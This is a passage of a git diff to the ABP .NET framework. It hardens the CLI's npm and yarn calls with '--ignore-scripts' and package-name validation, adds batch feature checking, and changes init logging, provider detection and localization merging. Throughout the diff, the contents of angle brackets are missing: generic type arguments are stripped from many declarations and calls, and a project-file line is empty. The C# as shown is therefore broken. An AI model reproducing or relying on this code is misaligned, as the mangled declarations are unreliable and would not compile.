if (skipInstallingLibs)
{
diff --git a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs
index d3dd24c53e..35bdf1dd37 100644
--- a/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs
+++ b/framework/src/Volo.Abp.Cli.Core/Volo/Abp/Cli/Utils/NpmHelper.cs
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.Linq;
+using System.Text.RegularExpressions;
using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Logging.Abstractions;
using NuGet.Versioning;
@@ -53,26 +54,64 @@ public class NpmHelper : ITransientDependency
public void RunNpmInstall(string directory, params string[] args)
{
Logger.LogInformation($"Running npm install on {directory}");
- CmdHelper.RunCmd($"npm install {args.JoinAsString(" ")}", directory);
+ CmdHelper.RunCmd($"npm install --ignore-scripts {args.JoinAsString(" ")}", directory);
}
public void RunYarn(string directory)
{
Logger.LogInformation($"Running Yarn on {directory}");
- CmdHelper.RunCmd($"npx yarn", directory);
+ CmdHelper.RunCmd($"npx yarn --ignore-scripts", directory);
}
[Obsolete("This method is deprecated. Use 'YarnAddPackage' instead (it uses 'npx', so there is no need for 'yarn' to be globally installed.")]
public void NpmInstallPackage(string package, string version, string directory)
{
+ EnsureSafePackageName(package);
+ EnsureSafeVersion(version);
var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty;
- CmdHelper.RunCmd("npm install " + package + packageVersion, workingDirectory: directory);
+ CmdHelper.RunCmd("npm install --ignore-scripts " + package + packageVersion, workingDirectory: directory);
}
public void YarnAddPackage(string package, string version, string directory)
{
+ EnsureSafePackageName(package);
+ EnsureSafeVersion(version);
var packageVersion = !string.IsNullOrWhiteSpace(version) ? $"@{version}" : string.Empty;
- CmdHelper.RunCmd("npx yarn add " + package + packageVersion, workingDirectory: directory);
+ CmdHelper.RunCmd("npx yarn add " + package + packageVersion + " --ignore-scripts", workingDirectory: directory);
+ }
+
+ private static readonly Regex SafePackageNameRegex = new(
+ @"^(@[a-zA-Z0-9][a-zA-Z0-9._-]*/)?[a-zA-Z0-9][a-zA-Z0-9._-]*$",
+ RegexOptions.Compiled);
+
+ private static readonly Regex SafeVersionRegex = new(
+ @"^[a-zA-Z0-9._~^+\-]+$",
+ RegexOptions.Compiled);
+
+ public static void EnsureSafePackageName(string packageName)
+ {
+ if (string.IsNullOrWhiteSpace(packageName) || !SafePackageNameRegex.IsMatch(packageName))
+ {
+ throw new CliUsageException($"Invalid npm package name detected: {SanitizeForLog(packageName)}");
+ }
+ }
+
+ public static void EnsureSafeVersion(string version)
+ {
+ if (!string.IsNullOrWhiteSpace(version) && !SafeVersionRegex.IsMatch(version))
+ {
+ throw new CliUsageException($"Invalid npm package version detected: {SanitizeForLog(version)}");
+ }
+ }
+
+ public static string SanitizeForLog(string value)
+ {
+ if (value == null)
+ {
+ return "(null)";
+ }
+
+ return Regex.Replace(value, @"[\x00-\x1F\x7F]", "?");
}
public string GetInstalledNpmPackages()
diff --git a/framework/src/Volo.Abp.Core/Microsoft/Extensions/Logging/AbpLoggerExtensions.cs b/framework/src/Volo.Abp.Core/Microsoft/Extensions/Logging/AbpLoggerExtensions.cs
index e1899f7efc..bf52211a39 100644
--- a/framework/src/Volo.Abp.Core/Microsoft/Extensions/Logging/AbpLoggerExtensions.cs
+++ b/framework/src/Volo.Abp.Core/Microsoft/Extensions/Logging/AbpLoggerExtensions.cs
@@ -1,6 +1,7 @@
using System;
using System.Collections.Generic;
using System.Text;
+using System.Text.Json;
using Volo.Abp.ExceptionHandling;
using Volo.Abp.Logging;
@@ -92,12 +93,37 @@ public static class AbpLoggerExtensions
exceptionData.AppendLine("---------- Exception Data ----------");
foreach (var key in exception.Data.Keys)
{
- exceptionData.AppendLine($"{key} = {exception.Data[key]}");
+ exceptionData.AppendLine($"{key} = {FormatDataValue(exception.Data[key])}");
}
logger.LogWithLevel(logLevel, exceptionData.ToString());
}
+ private const int MaxDataValueLength = 4096;
+
+ private static string FormatDataValue(object? value)
+ {
+ if (value == null)
+ {
+ return string.Empty;
+ }
+
+ var type = value.GetType();
+ if (value is string || type.IsPrimitive || value is decimal || value is DateTime || value is DateTimeOffset || value is Guid || type.IsEnum)
+ {
+ return value.ToString()!;
+ }
+
+ try
+ {
+ return JsonSerializer.Serialize(value).TruncateWithPostfix(MaxDataValueLength, "...(truncated)")!;
+ }
+ catch
+ {
+ return value.ToString()!;
+ }
+ }
+
private static void LogSelfLogging(ILogger logger, Exception exception)
{
var loggingExceptions = new List();
diff --git a/framework/src/Volo.Abp.Core/Volo/Abp/AbpApplicationBase.cs b/framework/src/Volo.Abp.Core/Volo/Abp/AbpApplicationBase.cs
index 4ec967ed01..6002c005b7 100644
--- a/framework/src/Volo.Abp.Core/Volo/Abp/AbpApplicationBase.cs
+++ b/framework/src/Volo.Abp.Core/Volo/Abp/AbpApplicationBase.cs
@@ -128,20 +128,24 @@ public abstract class AbpApplicationBase : IAbpApplication
protected virtual void WriteInitLogs(IServiceProvider serviceProvider)
{
- var logger = serviceProvider.GetService>();
- if (logger == null)
+ var loggerFactory = serviceProvider.GetService();
+ if (loggerFactory == null)
{
return;
}
- var initLogger = serviceProvider.GetRequiredService().Create();
+ var initLoggerFactory = serviceProvider.GetRequiredService();
- foreach (var entry in initLogger.Entries)
+ foreach (var entry in initLoggerFactory.GetAllEntries())
{
+ var categoryName = string.IsNullOrEmpty(entry.CategoryName)
+ ? nameof(AbpApplicationBase)
+ : entry.CategoryName;
+ var logger = loggerFactory.CreateLogger(categoryName);
logger.Log(entry.LogLevel, entry.EventId, entry.State, entry.Exception, entry.Formatter);
}
- initLogger.Entries.Clear();
+ initLoggerFactory.ClearAllEntries();
}
protected virtual IReadOnlyList LoadModules(IServiceCollection services, AbpApplicationCreationOptions options)
diff --git a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/AbpInitLogEntry.cs b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/AbpInitLogEntry.cs
index ea17388b9f..05924395d6 100644
--- a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/AbpInitLogEntry.cs
+++ b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/AbpInitLogEntry.cs
@@ -5,6 +5,8 @@ namespace Volo.Abp.Logging;
public class AbpInitLogEntry
{
+ public string CategoryName { get; set; } = default!;
+
public LogLevel LogLevel { get; set; }
public EventId EventId { get; set; }
diff --git a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLogger.cs b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLogger.cs
index 98264aab74..9dcfb9dad6 100644
--- a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLogger.cs
+++ b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLogger.cs
@@ -17,6 +17,7 @@ public class DefaultInitLogger : IInitLogger
{
Entries.Add(new AbpInitLogEntry
{
+ CategoryName = typeof(T).FullName!,
LogLevel = logLevel,
EventId = eventId,
State = state!,
diff --git a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLoggerFactory.cs b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLoggerFactory.cs
index 638888493d..aa52ed491f 100644
--- a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLoggerFactory.cs
+++ b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/DefaultInitLoggerFactory.cs
@@ -1,14 +1,34 @@
using System;
using System.Collections.Generic;
+using System.Linq;
namespace Volo.Abp.Logging;
public class DefaultInitLoggerFactory : IInitLoggerFactory
{
private readonly Dictionary _cache = [];
+ private readonly List> _entryLists = [];
public virtual IInitLogger Create()
{
- return (IInitLogger)_cache.GetOrAdd(typeof(T), () => new DefaultInitLogger());
+ return (IInitLogger)_cache.GetOrAdd(typeof(T), () =>
+ {
+ var logger = new DefaultInitLogger();
+ _entryLists.Add(logger.Entries);
+ return logger;
+ });
+ }
+
+ public virtual List GetAllEntries()
+ {
+ return _entryLists.SelectMany(l => l).ToList();
+ }
+
+ public virtual void ClearAllEntries()
+ {
+ foreach (var list in _entryLists)
+ {
+ list.Clear();
+ }
}
}
diff --git a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/IInitLoggerFactory.cs b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/IInitLoggerFactory.cs
index 611e9d7477..1f06aadc86 100644
--- a/framework/src/Volo.Abp.Core/Volo/Abp/Logging/IInitLoggerFactory.cs
+++ b/framework/src/Volo.Abp.Core/Volo/Abp/Logging/IInitLoggerFactory.cs
@@ -1,6 +1,12 @@
-namespace Volo.Abp.Logging;
+using System.Collections.Generic;
+
+namespace Volo.Abp.Logging;
public interface IInitLoggerFactory
{
IInitLogger Create();
+
+ List GetAllEntries();
+
+ void ClearAllEntries();
}
diff --git a/framework/src/Volo.Abp.Core/Volo/Abp/SimpleStateChecking/SimpleStateCheckerManager.cs b/framework/src/Volo.Abp.Core/Volo/Abp/SimpleStateChecking/SimpleStateCheckerManager.cs
index 542171e979..3d01c3c48d 100644
--- a/framework/src/Volo.Abp.Core/Volo/Abp/SimpleStateChecking/SimpleStateCheckerManager.cs
+++ b/framework/src/Volo.Abp.Core/Volo/Abp/SimpleStateChecking/SimpleStateCheckerManager.cs
@@ -1,4 +1,4 @@
-using System;
+using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
@@ -57,7 +57,7 @@ public class SimpleStateCheckerManager : ISimpleStateCheckerManager globalStateChecker in Options.GlobalStateCheckers
.Where(x => typeof(ISimpleBatchStateChecker).IsAssignableFrom(x))
- .Select(x => ServiceProvider.GetRequiredService(x)))
+ .Select(x => scope.ServiceProvider.GetRequiredService(x)))
{
var context = new SimpleBatchStateCheckerContext(
scope.ServiceProvider.GetRequiredService(),
@@ -69,11 +69,15 @@ public class SimpleStateCheckerManager : ISimpleStateCheckerManager !typeof(ISimpleBatchStateChecker).IsAssignableFrom(x));
+
foreach (var state in states)
{
- if (result[state])
+ if (result[state] &&
+ (hasNonBatchGlobalCheckers || state.StateCheckers.Any(x => x is not ISimpleBatchStateChecker)))
{
- result[state] = await InternalIsEnabledAsync(state, false);
+ result[state] = await EvaluateCheckersAsync(state, false, scope);
}
}
@@ -83,29 +87,49 @@ public class SimpleStateCheckerManager : ISimpleStateCheckerManager InternalIsEnabledAsync(TState state, bool useBatchChecker)
{
+ var hasStateCheckers = state.StateCheckers
+ .WhereIf(!useBatchChecker, x => x is not ISimpleBatchStateChecker)
+ .Any();
+ var hasGlobalCheckers = Options.GlobalStateCheckers
+ .WhereIf(!useBatchChecker, x => !typeof(ISimpleBatchStateChecker).IsAssignableFrom(x))
+ .Any();
+ if (!hasStateCheckers && !hasGlobalCheckers)
+ {
+ return true;
+ }
+
using (var scope = ServiceProvider.CreateScope())
{
- var context = new SimpleStateCheckerContext(scope.ServiceProvider.GetRequiredService(), state);
+ return await EvaluateCheckersAsync(state, useBatchChecker, scope);
+ }
+ }
- foreach (var provider in state.StateCheckers.WhereIf(!useBatchChecker, x => x is not ISimpleBatchStateChecker))
+ protected virtual async Task EvaluateCheckersAsync(TState state, bool useBatchChecker, IServiceScope scope)
+ {
+ var context = new SimpleStateCheckerContext(
+ !useBatchChecker
+ ? scope.ServiceProvider.GetRequiredService()
+ : scope.ServiceProvider.GetRequiredService(),
+ state);
+
+ foreach (var provider in state.StateCheckers.WhereIf(!useBatchChecker, x => x is not ISimpleBatchStateChecker))
+ {
+ if (!await provider.IsEnabledAsync(context))
{
- if (!await provider.IsEnabledAsync(context))
- {
- return false;
- }
+ return false;
}
+ }
- foreach (ISimpleStateChecker provider in Options.GlobalStateCheckers
- .WhereIf(!useBatchChecker, x => !typeof(ISimpleBatchStateChecker).IsAssignableFrom(x))
- .Select(x => ServiceProvider.GetRequiredService(x)))
+ foreach (ISimpleStateChecker provider in Options.GlobalStateCheckers
+ .WhereIf(!useBatchChecker, x => !typeof(ISimpleBatchStateChecker).IsAssignableFrom(x))
+ .Select(x => scope.ServiceProvider.GetRequiredService(x)))
+ {
+ if (!await provider.IsEnabledAsync(context))
{
- if (!await provider.IsEnabledAsync(context))
- {
- return false;
- }
+ return false;
}
-
- return true;
}
+
+ return true;
}
}
diff --git a/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/AbpDbContext.cs b/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/AbpDbContext.cs
index dd2a9cfde7..553f90f859 100644
--- a/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/AbpDbContext.cs
+++ b/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/AbpDbContext.cs
@@ -197,29 +197,7 @@ public abstract class AbpDbContext : DbContext, IAbpEfCoreDbContext,
protected virtual EfCoreDatabaseProvider? GetDatabaseProviderOrNull(ModelBuilder modelBuilder)
{
- switch (Database.ProviderName)
- {
- case "Microsoft.EntityFrameworkCore.SqlServer":
- return EfCoreDatabaseProvider.SqlServer;
- case "Npgsql.EntityFrameworkCore.PostgreSQL":
- return EfCoreDatabaseProvider.PostgreSql;
- case "Pomelo.EntityFrameworkCore.MySql":
- case "MySql.Data.MySqlClient":
- return EfCoreDatabaseProvider.MySql;
- case "Oracle.EntityFrameworkCore":
- case "Devart.Data.Oracle.Entity.EFCore":
- return EfCoreDatabaseProvider.Oracle;
- case "Microsoft.EntityFrameworkCore.Sqlite":
- return EfCoreDatabaseProvider.Sqlite;
- case "Microsoft.EntityFrameworkCore.InMemory":
- return EfCoreDatabaseProvider.InMemory;
- case "FirebirdSql.EntityFrameworkCore.Firebird":
- return EfCoreDatabaseProvider.Firebird;
- case "Microsoft.EntityFrameworkCore.Cosmos":
- return EfCoreDatabaseProvider.Cosmos;
- default:
- return null;
- }
+ return EfCoreDatabaseProviderHelper.GetDatabaseProviderOrNull(Database.ProviderName);
}
public async override Task SaveChangesAsync(bool acceptAllChangesOnSuccess, CancellationToken cancellationToken = default)
diff --git a/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/EfCoreDatabaseProviderHelper.cs b/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/EfCoreDatabaseProviderHelper.cs
new file mode 100644
index 0000000000..6b3c228c62
--- /dev/null
+++ b/framework/src/Volo.Abp.EntityFrameworkCore/Volo/Abp/EntityFrameworkCore/EfCoreDatabaseProviderHelper.cs
@@ -0,0 +1,52 @@
+using System;
+
+namespace Volo.Abp.EntityFrameworkCore;
+
+public static class EfCoreDatabaseProviderHelper
+{
+ public static EfCoreDatabaseProvider? GetDatabaseProviderOrNull(string? providerName)
+ {
+ if (providerName.IsNullOrWhiteSpace())
+ {
+ return null;
+ }
+
+ if (providerName.Contains("SqlServer", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.SqlServer;
+ }
+ if (providerName.Contains("Npgsql", StringComparison.OrdinalIgnoreCase) ||
+ providerName.Contains("PostgreSQL", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.PostgreSql;
+ }
+ if (providerName.Contains("MySql", StringComparison.OrdinalIgnoreCase) ||
+ providerName.Contains("Pomelo", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.MySql;
+ }
+ if (providerName.Contains("Oracle", StringComparison.OrdinalIgnoreCase) ||
+ providerName.Contains("Devart", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.Oracle;
+ }
+ if (providerName.Contains("Sqlite", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.Sqlite;
+ }
+ if (providerName.Contains("InMemory", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.InMemory;
+ }
+ if (providerName.Contains("Firebird", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.Firebird;
+ }
+ if (providerName.Contains("Cosmos", StringComparison.OrdinalIgnoreCase))
+ {
+ return EfCoreDatabaseProvider.Cosmos;
+ }
+
+ return null;
+ }
+}
diff --git a/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureCheckerBase.cs b/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureCheckerBase.cs
index f17213af2a..34c01820b3 100644
--- a/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureCheckerBase.cs
+++ b/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureCheckerBase.cs
@@ -1,4 +1,5 @@
-using System;
+using System;
+using System.Collections.Generic;
using System.Threading.Tasks;
using Volo.Abp.DependencyInjection;
@@ -28,4 +29,16 @@ public abstract class FeatureCheckerBase : IFeatureChecker, ITransientDependency
);
}
}
+
+ public virtual async Task> IsEnabledAsync(string[] names)
+ {
+ var result = new Dictionary();
+
+ foreach (var name in names)
+ {
+ result[name] = await IsEnabledAsync(name);
+ }
+
+ return result;
+ }
}
diff --git a/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureSimpleStateCheckerExtensions.cs b/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureSimpleStateCheckerExtensions.cs
index ff1bca8229..2c62c29870 100644
--- a/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureSimpleStateCheckerExtensions.cs
+++ b/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeatureSimpleStateCheckerExtensions.cs
@@ -1,4 +1,4 @@
-using JetBrains.Annotations;
+using JetBrains.Annotations;
using Volo.Abp.SimpleStateChecking;
namespace Volo.Abp.Features;
@@ -10,7 +10,7 @@ public static class FeatureSimpleStateCheckerExtensions
params string[] features)
where TState : IHasSimpleStateCheckers
{
- state.RequireFeatures(true, features);
+ state.RequireFeatures(requiresAll: true, batchCheck: true, features);
return state;
}
@@ -19,11 +19,32 @@ public static class FeatureSimpleStateCheckerExtensions
bool requiresAll,
params string[] features)
where TState : IHasSimpleStateCheckers
+ {
+ state.RequireFeatures(requiresAll: requiresAll, batchCheck: true, features);
+ return state;
+ }
+
+ public static TState RequireFeatures(
+ [NotNull] this TState state,
+ bool requiresAll,
+ bool batchCheck,
+ params string[] features)
+ where TState : IHasSimpleStateCheckers
{
Check.NotNull(state, nameof(state));
Check.NotNullOrEmpty(features, nameof(features));
- state.StateCheckers.Add(new RequireFeaturesSimpleStateChecker(requiresAll, features));
+ if (batchCheck)
+ {
+ RequireFeaturesSimpleBatchStateChecker.Current.AddCheckModels(
+ new RequireFeaturesSimpleBatchStateCheckerModel(state, features, requiresAll));
+ state.StateCheckers.Add(RequireFeaturesSimpleBatchStateChecker.Current);
+ }
+ else
+ {
+ state.StateCheckers.Add(new RequireFeaturesSimpleStateChecker(requiresAll, features));
+ }
+
return state;
}
}
diff --git a/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeaturesSimpleStateCheckerSerializerContributor.cs b/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeaturesSimpleStateCheckerSerializerContributor.cs
index c604cb75b4..5f652269b5 100644
--- a/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeaturesSimpleStateCheckerSerializerContributor.cs
+++ b/framework/src/Volo.Abp.Features/Volo/Abp/Features/FeaturesSimpleStateCheckerSerializerContributor.cs
@@ -1,4 +1,4 @@
-using System.Linq;
+using System.Linq;
using System.Text.Json.Nodes;
using Volo.Abp.DependencyInjection;
using Volo.Abp.SimpleStateChecking;
@@ -10,7 +10,7 @@ public class FeaturesSimpleStateCheckerSerializerContributor :
ISingletonDependency
{
public const string CheckerShortName = "F";
-
+
public string? SerializeToJson(ISimpleStateChecker checker)
where TState : IHasSimpleStateCheckers
{
@@ -53,4 +53,4 @@ public class FeaturesSimpleStateCheckerSerializerContributor :
nameArray.Select(x => x!.ToString()).ToArray()
);
}
-}
\ No newline at end of file
+}
diff --git a/framework/src/Volo.Abp.Features/Volo/Abp/Features/IFeatureChecker.cs b/framework/src/Volo.Abp.Features/Volo/Abp/Features/IFeatureChecker.cs
index 501c5ff8f8..f97b4504a0 100644
--- a/framework/src/Volo.Abp.Features/Volo/Abp/Features/IFeatureChecker.cs
+++ b/framework/src/Volo.Abp.Features/Volo/Abp/Features/IFeatureChecker.cs
@@ -1,4 +1,5 @@
-using JetBrains.Annotations;
+using System.Collections.Generic;
+using JetBrains.Annotations;
using System.Threading.Tasks;
namespace Volo.Abp.Features;
@@ -8,4 +9,6 @@ public interface IFeatureChecker
Task GetOrNullAsync([NotNull] string name);
Task IsEnabledAsync(string name);
+
+ Task> IsEnabledAsync([NotNull] string[] names);
}
diff --git a/framework/src/Volo.Abp.Features/Volo/Abp/Features/RequireFeaturesSimpleBatchStateChecker.cs b/framework/src/Volo.Abp.Features/Volo/Abp/Features/RequireFeaturesSimpleBatchStateChecker.cs
new file mode 100644
index 0000000000..24089e2364
--- /dev/null
+++ b/framework/src/Volo.Abp.Features/Volo/Abp/Features/RequireFeaturesSimpleBatchStateChecker.cs
@@ -0,0 +1,93 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.DependencyInjection;
+using Volo.Abp.SimpleStateChecking;
+
+namespace Volo.Abp.Features;
+
+public class RequireFeaturesSimpleBatchStateChecker : SimpleBatchStateCheckerBase
+ where TState : IHasSimpleStateCheckers
+{
+ public static RequireFeaturesSimpleBatchStateChecker Current => _current.Value!;
+ private static readonly AsyncLocal> _current = new();
+
+ private readonly List> _models;
+
+ static RequireFeaturesSimpleBatchStateChecker()
+ {
+ _current.Value = new RequireFeaturesSimpleBatchStateChecker();
+ }
+
+ public RequireFeaturesSimpleBatchStateChecker()
+ {
+ _models = new List>();
+ }
+
+ public RequireFeaturesSimpleBatchStateChecker AddCheckModels(
+ params RequireFeaturesSimpleBatchStateCheckerModel[] models)
+ {
+ Check.NotNullOrEmpty(models, nameof(models));
+
+ _models.AddRange(models);
+ return this;
+ }
+
+ public static IDisposable Use(RequireFeaturesSimpleBatchStateChecker checker)
+ {
+ var previousValue = Current;
+ _current.Value = checker;
+ return new DisposeAction(() => _current.Value = previousValue);
+ }
+
+ public override async Task> IsEnabledAsync(
+ SimpleBatchStateCheckerContext context)
+ {
+ var featureChecker = context.ServiceProvider.GetRequiredService();
+
+ var result = new SimpleStateCheckerResult(context.States);
+
+ var stateSet = new HashSet(context.States);
+ var modelLookup = new Dictionary>();
+ var allFeatures = new HashSet();
+
+ foreach (var model in _models)
+ {
+ if (!stateSet.Contains(model.State))
+ {
+ continue;
+ }
+
+ if (!modelLookup.ContainsKey(model.State))
+ {
+ modelLookup[model.State] = model;
+ }
+
+ foreach (var featureName in model.FeatureNames)
+ {
+ allFeatures.Add(featureName);
+ }
+ }
+
+ var featureValues = await featureChecker.IsEnabledAsync(allFeatures.ToArray());
+
+ foreach (var state in context.States)
+ {
+ if (modelLookup.TryGetValue(state, out var model))
+ {
+ if (model.RequiresAll)
+ {
+ result[state] = model.FeatureNames.All(x => featureValues.TryGetValue(x, out var v) && v);
+ }
+ else
+ {
+ result[state] = model.FeatureNames.Any(x => featureValues.TryGetValue(x, out var v) && v);
+ }
+ }
+ }
+
+ return result;
+ }
+}
diff --git a/framework/src/Volo.Abp.Features/Volo/Abp/Features/RequireFeaturesSimpleBatchStateCheckerModel.cs b/framework/src/Volo.Abp.Features/Volo/Abp/Features/RequireFeaturesSimpleBatchStateCheckerModel.cs
new file mode 100644
index 0000000000..389ebac3af
--- /dev/null
+++ b/framework/src/Volo.Abp.Features/Volo/Abp/Features/RequireFeaturesSimpleBatchStateCheckerModel.cs
@@ -0,0 +1,23 @@
+using Volo.Abp.SimpleStateChecking;
+
+namespace Volo.Abp.Features;
+
+public class RequireFeaturesSimpleBatchStateCheckerModel
+ where TState : IHasSimpleStateCheckers
+{
+ public TState State { get; }
+
+ public string[] FeatureNames { get; }
+
+ public bool RequiresAll { get; }
+
+ public RequireFeaturesSimpleBatchStateCheckerModel(TState state, string[] featureNames, bool requiresAll = true)
+ {
+ Check.NotNull(state, nameof(state));
+ Check.NotNullOrEmpty(featureNames, nameof(featureNames));
+
+ State = state;
+ FeatureNames = featureNames;
+ RequiresAll = requiresAll;
+ }
+}
diff --git a/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/Json/JsonLocalizationDictionaryBuilder.cs b/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/Json/JsonLocalizationDictionaryBuilder.cs
index f065f0e695..d39c06a1b4 100644
--- a/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/Json/JsonLocalizationDictionaryBuilder.cs
+++ b/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/Json/JsonLocalizationDictionaryBuilder.cs
@@ -60,7 +60,6 @@ public static class JsonLocalizationDictionaryBuilder
}
var dictionary = new Dictionary();
- var dublicateNames = new List();
foreach (var item in FlattenTexts(jsonFile.Texts))
{
@@ -68,20 +67,10 @@ public static class JsonLocalizationDictionaryBuilder
{
throw new AbpException("The key is empty in given json string.");
}
- if (dictionary.GetOrDefault(item.Key) != null)
- {
- dublicateNames.Add(item.Key);
- }
+
dictionary[item.Key] = new LocalizedString(item.Key, item.Value.NormalizeLineEndings());
}
- if (dublicateNames.Count > 0)
- {
- throw new AbpException(
- "A dictionary can not contain same key twice. There are some duplicated names: " +
- dublicateNames.JoinAsString(", "));
- }
-
return new StaticLocalizationDictionary(cultureCode, dictionary);
}
diff --git a/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/VirtualFiles/VirtualFileLocalizationResourceContributorBase.cs b/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/VirtualFiles/VirtualFileLocalizationResourceContributorBase.cs
index d151dc78df..41fd38a430 100644
--- a/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/VirtualFiles/VirtualFileLocalizationResourceContributorBase.cs
+++ b/framework/src/Volo.Abp.Localization/Volo/Abp/Localization/VirtualFiles/VirtualFileLocalizationResourceContributorBase.cs
@@ -1,5 +1,6 @@
using System;
using System.Collections.Generic;
+using System.Linq;
using System.Threading.Tasks;
using Microsoft.Extensions.DependencyInjection;
using Microsoft.Extensions.FileProviders;
@@ -19,7 +20,6 @@ public abstract class VirtualFileLocalizationResourceContributorBase : ILocaliza
private Dictionary? _dictionaries;
private bool _subscribedForChanges;
private readonly object _syncObj = new object();
- private LocalizationResourceBase _resource = default!;
protected VirtualFileLocalizationResourceContributorBase(string virtualPath)
{
@@ -28,7 +28,6 @@ public abstract class VirtualFileLocalizationResourceContributorBase : ILocaliza
public virtual void Initialize(LocalizationResourceInitializationContext context)
{
- _resource = context.Resource;
_virtualFileProvider = context.ServiceProvider.GetRequiredService();
}
@@ -88,15 +87,12 @@ public abstract class VirtualFileLocalizationResourceContributorBase : ILocaliza
private Dictionary CreateDictionaries()
{
- var dictionaries = new Dictionary();
+ var rawDictionaries = new Dictionary>();
- foreach (var file in _virtualFileProvider.GetDirectoryContents(_virtualPath))
+ foreach (var file in _virtualFileProvider.GetDirectoryContents(_virtualPath)
+ .Where(f => !f.IsDirectory && CanParseFile(f))
+ .OrderBy(f => f.Name, StringComparer.Ordinal))
{
- if (file.IsDirectory || !CanParseFile(file))
- {
- continue;
- }
-
var dictionary = CreateDictionaryFromFile(file);
if (dictionary == null)
@@ -104,15 +100,19 @@ public abstract class VirtualFileLocalizationResourceContributorBase : ILocaliza
continue;
}
- if (dictionaries.ContainsKey(dictionary.CultureName))
+ if (!rawDictionaries.TryGetValue(dictionary.CultureName, out var raw))
{
- throw new AbpException($"{file.GetVirtualOrPhysicalPathOrNull()} dictionary has a culture name '{dictionary.CultureName}' which is already defined! Localization resource: {_resource.ResourceName}");
+ raw = new Dictionary();
+ rawDictionaries[dictionary.CultureName] = raw;
}
- dictionaries[dictionary.CultureName] = dictionary;
+ dictionary.Fill(raw);
}
- return dictionaries;
+ return rawDictionaries.ToDictionary(
+ kvp => kvp.Key,
+ kvp => (ILocalizationDictionary)new StaticLocalizationDictionary(kvp.Key, kvp.Value)
+ );
}
protected abstract bool CanParseFile(IFileInfo file);
diff --git a/framework/src/Volo.Abp.UI.Navigation/Volo.Abp.UI.Navigation.csproj b/framework/src/Volo.Abp.UI.Navigation/Volo.Abp.UI.Navigation.csproj
index c5bc49a2bb..c01959bb61 100644
--- a/framework/src/Volo.Abp.UI.Navigation/Volo.Abp.UI.Navigation.csproj
+++ b/framework/src/Volo.Abp.UI.Navigation/Volo.Abp.UI.Navigation.csproj
@@ -23,6 +23,7 @@
+
diff --git a/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/AbpUiNavigationModule.cs b/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/AbpUiNavigationModule.cs
index 9074943396..70fb9d978d 100644
--- a/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/AbpUiNavigationModule.cs
+++ b/framework/src/Volo.Abp.UI.Navigation/Volo/Abp/Ui/Navigation/AbpUiNavigationModule.cs
@@ -1,4 +1,5 @@
using Volo.Abp.Authorization;
+using Volo.Abp.Features;
using Volo.Abp.Localization;
using Volo.Abp.Modularity;
using Volo.Abp.MultiTenancy;
@@ -7,7 +8,7 @@ using Volo.Abp.VirtualFileSystem;
namespace Volo.Abp.UI.Navigation;
-[DependsOn(typeof(AbpUiModule), typeof(AbpAuthorizationModule), typeof(AbpMultiTenancyModule))]
+[DependsOn(typeof(AbpUiModule), typeof(AbpAuthorizationModule), typeof(AbpFeaturesModule), typeof(AbpMultiTenancyModule))]
public class AbpUiNavigationModule : AbpModule
{
